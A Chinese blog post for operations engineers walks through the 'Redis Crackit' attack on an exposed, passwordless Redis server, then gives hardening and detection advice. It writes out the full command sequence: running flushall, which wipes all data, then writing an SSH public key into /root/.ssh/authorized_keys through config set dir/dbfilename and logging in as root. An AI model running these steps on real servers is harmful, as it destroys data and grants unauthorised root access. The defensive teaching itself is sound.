Redis Crackit漏洞利用和防护

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!     目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。  下面我模拟一下入侵过程:  准备工作:
  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushallOK#把公钥写入到一个key里面[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen#连接到这个redis上[root@test-node1 ~]# redis-cli -h 192.168.199.221#设置rdb文件存放的路径redis 192.168.199.221:6379> config set dir /root/.ssh/OK#设置rdb文件的文件名redis 192.168.199.221:6379> config set dbfilename "authorized_keys"OK#搞定保存redis 192.168.199.221:6379> saveOK#退出redis 192.168.199.221:6379> exit#尝试登陆吧[root@test-node1 ~]# ssh root@192.168.199.221Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys[root@test-node2 ~]# cat /root/.ssh/authorized_keys注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。如何防护:     1.禁用这些可以入侵的命令:     [root@test-node2 ~]# vim /etc/redis.conf     rename-command FLUSHALL ""     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。     2.将你的redis不要运行在0.0.0.0.或者设置验证。     [root@test-node2 ~]# vim /etc/redis.conf    requirepass redis-passwd    bind 192.168.199.11   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。如何发现被入侵:   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

4 个评论

赞!!!赵班长仙福永享寿与天齐~!
谢谢分享。
赞 赞 多谢分享
感谢老师的分享。

要回复文章请先登录注册